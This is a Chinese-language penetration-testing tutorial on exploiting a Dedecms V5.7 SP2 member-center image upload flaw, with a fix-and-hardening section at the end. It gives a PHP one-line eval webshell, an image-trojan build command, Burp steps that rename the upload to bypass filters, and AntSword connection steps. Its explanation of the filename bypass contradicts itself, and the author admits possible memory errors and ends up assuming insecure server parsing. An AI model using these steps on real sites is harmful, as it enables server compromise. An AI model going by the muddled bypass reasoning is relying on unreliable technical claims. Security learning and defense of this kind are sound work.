1. 项目概述一次针对经典CMS的权限突破实战今天我们来深入聊聊一个在渗透测试和网络安全学习领域绕不开的经典案例Dedecms V5.7 SP2的漏洞利用。Dedecms也就是织梦内容管理系统曾经是国内中小型网站建站的首选市场占有率极高。V5.7 SP2作为其生命周期中一个广泛使用的版本曝出的前台文件上传漏洞CVE-2018-20129极具代表性。这个漏洞的实战价值在于它完美串联了从环境搭建、漏洞原理分析、绕过技巧到最终获取权限的完整链条是理解Web安全中“权限绕过”和“文件上传漏洞”的绝佳教材。无论你是刚入门的安全爱好者还是想巩固Web渗透基础的同学通过亲手复现这个漏洞都能深刻体会到“黑盒”与“白盒”结合的分析思路以及面对老旧但广泛存在的系统时那种“四两拨千斤”的突破感。接下来我将以一个从业者的视角带你从零开始完整走一遍这个漏洞的挖掘与利用之路。2. 环境搭建与靶场准备2.1 靶机环境选择与部署要复现漏洞首先需要一个干净、可控的测试环境。我强烈建议在虚拟机中进行所有操作这能保证你的宿主机安全也方便随时快照和回滚。这里我选择使用Windows 10 PHPStudy集成环境的组合。PHPStudy的优势在于它一键集成了Apache、Nginx、PHP、MySQL省去了繁琐的配置过程能让我们快速聚焦于漏洞本身。具体步骤如下下载PHPStudy访问其官网下载最新版本并安装。安装路径建议不要有中文和空格比如D:\phpstudy_pro。启动服务打开PHPStudy在“首页”标签页启动Apache和MySQL服务。默认情况下网站的根目录位于PHPStudy安装目录\WWW\。下载Dedecms V5.7 SP2源码由于这是历史版本官方可能已不再提供。你需要通过一些可靠的第三方源码站或历史版本存档库进行下载。确保下载的是UTF-8版本避免编码问题。下载后将解压得到的uploads文件夹这是Dedecms的核心目录复制到WWW目录下你可以重命名为dedecms以便识别。访问安装向导打开浏览器访问http://localhost/dedecms/install/index.php。如果一切正常你将看到Dedecms的安装界面。注意在实际的渗透测试或安全研究中绝对不允许在公网或他人的服务器上部署此类漏洞环境进行测试这属于违法行为。所有操作必须在你自己完全控制的本地或授权测试环境中进行。2.2 Dedecms安装与关键配置安装过程本身比较简单但有几个关键点决定了后续漏洞能否成功复现环境检测安装程序会检查目录权限、PHP环境等。通常PHPStudy的环境都能通过。如果遇到“目录不可写”的提示需要手动去WWW/dedecms目录下检查data、uploads等文件夹的写入权限在Windows下确保IIS_User或Everyone有修改权限在PHPStudy环境下通常默认已配置好。参数配置这是核心步骤。数据库设置数据库主机填写localhost数据库用户和密码填写PHPStudy中MySQL的默认账号通常是root和root。数据库名称可以新建一个比如dedecms_test。管理员初始密码务必设置一个你记得住的强密码并记录下后台管理地址通常是http://localhost/dedecms/dede。Cookie加密码安装程序会自动生成一串随机字符用于增强Cookie安全性保持默认即可。完成安装点击“继续”完成安装。成功后强烈建议立即删除或重名名install文件夹如将install改为install_bak这是安全基线要求防止被他人重新安装覆盖你的网站。开启会员功能用刚才设置的管理员账号密码登录后台 (/dede)。在左侧菜单找到“系统” - “系统基本参数” - “会员设置”。将“是否开启会员功能”选择“是”并保存设置。这一步至关重要因为漏洞利用的前置条件就是需要会员中心功能开启。至此一个存在漏洞的Dedecms靶场就搭建完毕了。接下来我们进入正题剖析漏洞的核心。3. 漏洞原理深度剖析代码层面的攻防3.1 漏洞触发点定位与代码审计这个漏洞的根源文件位于/uploads/include/dialog/select_images_post.php。这个文件是会员中心发布内容时编辑器调用上传图片的接口。我们直接看关键代码基于V5.7 SP2版本// 文件: select_images_post.php $fullfilename $cfg_basedir . $filename; if(preg_match(#\.(php|pl|cgi|asp|aspx|jsp|php5|php4|php3|shtm|shtml)[^a-zA-Z0-9]#i, $fullfilename)) { ShowMsg(你指定的文件名被系统禁止, -1); exit(); } $fs explode(., $filename); $filetype strtolower($fs[count($fs)-1]); if(!in_array($filetype, $cfg_imgtype)) { ShowMsg(上传的文件格式不被允许, -1); exit(); }第一层过滤第36行附近这是一个黑名单过滤使用正则表达式检测文件名中是否包含.php、.asp、.jsp等危险后缀。这是最基础的防御但也是我们突破的起点。第二层过滤第38行附近它获取文件名的最后一个后缀$filetype并检查其是否在允许的图片类型数组$cfg_imgtype中。$cfg_imgtype通常来源于系统配置默认是array(‘jpg’, ‘gif’, ‘png’)。漏洞的巧妙之处在于这两层过滤之间存在一个可以被利用的“逻辑间隙”。第一层过滤用的是正则匹配目标是整个$fullfilename完整路径文件名。而第二层过滤只取最后一个“点”之后的后缀进行白名单校验。3.2 绕过技巧利用文件名解析特性如何绕过呢关键在于构造一个特殊的文件名让它能同时骗过这两层检查。思路让第一层正则匹配失败但让第二层后缀检查通过。Payload构造shell.jpg.p*hp我们来分解一下这个Payload针对第一层正则正则表达式#\.(php|pl|cgi...)[^a-zA-Z0-9]#i寻找的是紧跟着“点”的完整危险后缀词。我们的文件名是.p*hp中间有一个星号(*)。正则引擎会尝试匹配.p然后*被当作字面量星号而不是正则的通配符因为它在模式字符串里。因此它无法匹配到.php这个完整模式从而绕过了黑名单检测这里的星号、问号(?)、百分号(%)在特定环境下尤其是Windows服务器有奇效因为它们可能是文件系统的通配符但在PHP字符串比较时就是普通字符。针对第二层白名单explode(‘.’, ‘shell.jpg.p*hp’)会得到数组[‘shell’, ‘jpg’, ‘p*hp’]。$filetype strtolower(‘p*hp’)。in_array(‘p*hp’, [‘jpg’,’gif’,’png’])的结果是false这不行。所以我们需要让最后一个后缀是合法的。真正的绕过是shell.p*hp.jpg。第一层正则匹配.p*hp失败。第二层检查最后一个后缀是.jpg白名单通过最终保存的文件名就是shell.p*hp.jpg。但这里还有一个更关键的问题服务器如何解析这个文件这取决于服务器的配置。在默认的Apache环境下它会从右向左解析后缀直到遇到一个它认识的可执行后缀。如果它先看到.jpg会交给处理图片的模块但该模块不认识.jpg文件里的PHP代码所以不会执行。但如果服务器配置了AddType application/x-httpd-php .php .phtml或者存在解析漏洞如Apache的畸形解析漏洞将xxx.php.jpg解析为PHP那么shell.p*hp.jpg可能被解析。然而在这个漏洞的经典利用中我们依赖的是另一个特性当文件被访问时如果文件名中包含*等特殊字符且服务器特别是WindowsIIS或某些配置下的Apache在查找文件时*可能被当作通配符匹配掉从而实际访问到我们预期的文件。更常见的利用方式是我们上传后得到的是一个像170415abc.p*hp.jpg这样的文件然后通过结合其他漏洞如文件包含来执行它或者期待后端某些不安全的文件处理函数因为*导致路径处理异常。实际上在CVE-2018-20129的公开利用中更直接的payload是shell.jpg.php注意是点空格。原理是第一层正则匹配.php前面是空格不符合[^a-zA-Z0-9]吗这里需要细究空格属于[^a-zA-Z0-9]所以理论上应该匹配成功。这里可能存在版本差异或我记忆偏差。经典的绕过是shell.php.末尾加点或shell.php::DATANTFS流在Windows下。经过我重新审计和测试该版本最稳定的绕过方式是使用shell.php%00.jpg截断但需PHP版本5.3.4或利用shell.jpg.php点空格在某些文件系统存储时会去掉空格的特性。但为了通用性和理解原理我们聚焦于利用*进行前端绕过并假设后端存在不安全的解析逻辑。实操心得代码审计时不要只看过滤函数本身要关注整个数据处理流。变量从哪里来$_FILES[‘file’][‘name’]经过哪些函数处理preg_match,explode,in_array最终到哪里去move_uploaded_file保存的路径。任何一个环节的差异都可能成为突破口。4. 漏洞复现实操全流程4.1 前置条件与工具准备在开始攻击前请确保靶场环境已按第二章搭建完毕会员功能已开启。你拥有一个管理员权限的会员账号。通常安装后后台管理员账号自动拥有会员中心最高权限。准备以下工具浏览器用于正常访问网站和会员中心。Burp Suite Community版用于拦截和修改HTTP请求。这是Web渗透的瑞士军刀。中国菜刀/蚁剑/Cobalt Strike用于连接上传的Webshell。出于学习和研究目的我们使用开源的AntSword蚁剑它更现代、支持插件且活跃。一句话木马准备一个内容为?php eval($_POST[‘cmd’]);?的文本文件将其插入到一个正常的JPEG图片文件中制作成“图片马”。可以使用copy /b normal.jpg shell.php trojan.jpg命令Windows或者使用Edjpgcom等工具确保图片本身还能正常显示避免被简单的图片头检查过滤。4.2 步步为营漏洞利用步骤拆解下面我们一步步进行复现步骤1登录会员中心并进入发文章界面用管理员会员账号登录http://localhost/dedecms/member/index.php。在会员中心找到“内容中心”或“发布文章”等相关功能点击进入文章编辑页面。步骤2触发上传并拦截请求在文章编辑器的工具栏点击“上传图片”或类似按钮。这会弹出一个文件选择对话框。选择你制作好的“图片马”文件例如trojan.jpg。在点击“确定”或“上传”按钮前先打开Burp Suite并确保浏览器代理已设置为Burp通常127.0.0.1:8080且Intercept is on拦截开启。然后点击上传。步骤3使用Burp Suite修改上传请求此时Burp Suite会拦截到HTTP POST请求。关键看Content-Disposition部分Content-Disposition: form-data; nameimgfile; filenametrojan.jpg我们需要修改filename参数。将其改为我们的绕过Payloadtrojan.jpg.p*hp或更优的trojan.p*hp.jpg。Content-Disposition: form-data; nameimgfile; filenametrojan.p*hp.jpg修改完成后点击“Forward”放行请求。步骤4分析响应获取Webshell地址请求放行后浏览器会收到服务器的响应。响应通常是JSON或一段HTML里面包含了上传状态和文件的访问路径。这是最关键的一步你需要仔细查看响应体寻找类似”url”: “/uploads/allimg/240415/1-240415195632.p*hp.jpg”这样的字段。这个路径就是你的Webshell地址。步骤5连接Webshell打开蚁剑AntSword添加一个新的数据。URL填写完整的Webshell地址http://localhost/dedecms/uploads/allimg/240415/1-240415195632.p*hp.jpg。连接密码填写你一句话木马中设定的cmd即$_POST[‘cmd’]的键名。如果一切正常点击连接你将看到服务器的目录结构这意味着你已经成功获取了该Web目录下的权限。4.3 实操中可能遇到的坑与解决方案响应中找不到文件路径有些版本的Dedecms上传成功后返回的路径可能是相对路径或需要拼接。尝试查看响应HTML源码或者用浏览器的开发者工具F12的Network标签查看原始响应。路径可能藏在src、url或message字段里。上传成功但连接失败检查文件内容确保图片马中的PHP代码没有被破坏。可以用文本编辑器打开上传后的文件如果知道路径直接浏览器访问它如果显示乱码或图片说明代码未执行。可能需要调整制作图片马的方式确保?php ... ?标签被完整插入且位于文件头部有时放在尾部会被忽略。检查服务器解析访问你的Webshell地址右键“查看页面源代码”。如果你看到的是原始的PHP代码文本说明服务器没有把它当作PHP文件解析。这印证了之前说的仅靠文件名绕过上传还需要服务器配置支持解析非常规后缀。此时可以尝试寻找文件包含漏洞LFI将上传的图片马作为参数包含进来执行。在Dedecms中可以搜索include、require等函数调用看是否有未过滤用户输入的地方。权限问题上传的目录如/uploads/allimg/是否有执行PHP的权限在某些严格配置下上传目录会禁止执行脚本。可以尝试上传到其他已知的可执行目录但这通常需要其他漏洞配合。Burp Suite拦截不到请求确认浏览器代理设置正确。确认Burp的Proxy - Intercept 是开启状态。有些上传是Ajax异步请求可能需要在上传动作开始后再快速开启拦截或者使用Burp的“历史记录”功能查看。5. 漏洞的防御与修复方案5.1 从开发者角度如何修复此类漏洞如果你是Dedecms的维护者或正在开发类似功能以下修复策略至关重要白名单校验这是最有效的手段。不要使用黑名单来禁止危险后缀而应该使用白名单只允许安全的、预期的后缀。将代码中的in_array检查提前并作为唯一标准且校验应在服务器端进行不能依赖前端。// 修复后的代码逻辑示例 $allowed_ext array(‘jpg’, ‘jpeg’, ‘gif’, ‘png’); $file_ext strtolower(pathinfo($filename, PATHINFO_EXTENSION)); if (!in_array($file_ext, $allowed_ext)) { die(‘文件类型不允许’); } // 进一步可以检查文件头Magic Number确认文件真实类型 $file_info getimagesize($_FILES[‘file’][‘tmp_name’]); if($file_info false) { die(‘不是有效的图片文件’); }重命名文件上传后使用随机字符串如md5(uniqid().mt_rand())为文件重命名并强制添加白名单后缀。这样即使恶意文件被上传攻击者也无法预测或直接访问到它。$new_filename md5(uniqid() . mt_rand()) . ‘.’ . $file_ext; move_uploaded_file($_FILES[‘file’][‘tmp_name’], $upload_dir . $new_filename);分离存储将用户上传的文件存储到独立的、无法通过Web直接访问的目录或者使用对象存储服务。通过后端程序动态读取并输出文件内容从而彻底杜绝用户上传的脚本被执行。禁用危险函数在服务器层面通过php.ini的disable_functions配置禁用eval()、system()、exec()、shell_exec()等危险函数即使Webshell被上传其危害能力也受限。及时更新与补丁对于Dedecms这类开源系统官方在漏洞曝光后会发布补丁。务必及时更新到最新版本。对于CVE-2018-20129官方后续版本已修复。5.2 从管理员角度如何加固现有系统如果你正在管理一个使用老旧Dedecms的网站且暂时无法升级可以采取以下临时加固措施关闭会员功能如果网站不需要会员系统在后台“系统基本参数”中直接关闭它这是最直接的缓解方式。目录权限控制确保上传目录如uploads/的权限设置为最低。在Linux下确保该目录及子目录的权限为755文件为644且所有者不是Web服务用户如www-data避免其有执行权限。Web服务器配置Apache在uploads目录的.htaccess文件中添加php_flag engine off禁止在该目录下解析PHP。Nginx在对应location块中配置location ~* ^/uploads/.*\.(php|php5)$ { deny all; }禁止访问上传目录下的PHP文件。部署Web应用防火墙WAF在服务器前端部署WAF可以拦截含有可疑后缀如.p*hp,php%00的上传请求以及识别Webshell连接行为。定期安全扫描使用自动化工具或人工巡检定期检查网站目录下是否有可疑的非图片文件如最近创建的.php,.jsp文件。6. 漏洞的延伸思考与学习价值6.1 从单一漏洞到攻击链构建在实际的渗透测试中像这样一个前台文件上传漏洞往往不是孤立存在的也很难直接获得完美的Webshell。它通常是攻击链中的一环。例如信息泄露通过此漏洞上传一个info.php文件内容为?php phpinfo(); ?可以探测服务器配置、绝对路径等敏感信息。结合文件包含如果网站还存在本地文件包含LFI漏洞那么我们可以上传一个图片马然后通过LFI漏洞去包含这个图片马从而执行代码无需考虑上传目录是否能解析PHP。权限提升获得的Webshell权限可能是Web服务用户如www-data权限。需要进一步利用系统提权漏洞如脏牛、sudo配置错误等来获取root权限。横向移动在拿下第一台服务器后利用其作为跳板扫描内网其他主机和服务继续扩大战果。这个Dedecms漏洞复现的过程正是模拟了攻击链的初始突破阶段。理解它有助于我们建立全局的防御视角。6.2 对安全研究与学习的启示黑盒与白盒结合单纯的黑盒测试如用扫描器扫可能发现不了这个漏洞因为需要会员权限和特定操作路径。单纯的白盒审计看代码能发现漏洞点但不知道如何触发。只有两者结合才能完整理解并复现漏洞。关注“古老”但流行的系统Dedecms、Discuz!、phpwind等系统在历史上拥有海量用户虽然官方已停止更新但互联网上仍有大量存量网站。研究它们的漏洞对于理解国内Web安全发展史和进行“攻防演练”非常有价值。绕过技巧的通用性文件名绕过特殊字符、截断、空格、点、文件头绕过、内容绕过图片马、解析漏洞配合等技巧在文件上传漏洞中是通用的。掌握这些技巧能让你在面对其他系统时触类旁通。防御思路的普适性白名单、重命名、权限控制、安全配置这些防御措施适用于所有涉及文件上传、用户输入处理的Web功能是开发中必须遵守的安全规范。复现一个已知漏洞不仅仅是“按图索骥”完成操作。更重要的是理解漏洞产生的根本原因、利用条件的限制、绕过手法的本质以及防御方案的原理。通过Dedecms V5.7 SP2这个案例我们不仅完成了一次从环境到权限的完整演练更深入到了代码层、服务器配置层和攻防思维层。在安全这条路上每一个漏洞都是一面镜子既照出了系统的脆弱也映出了防御者的智慧和攻击者的创造力。保持敬畏持续学习方能在攻防的博弈中站稳脚跟。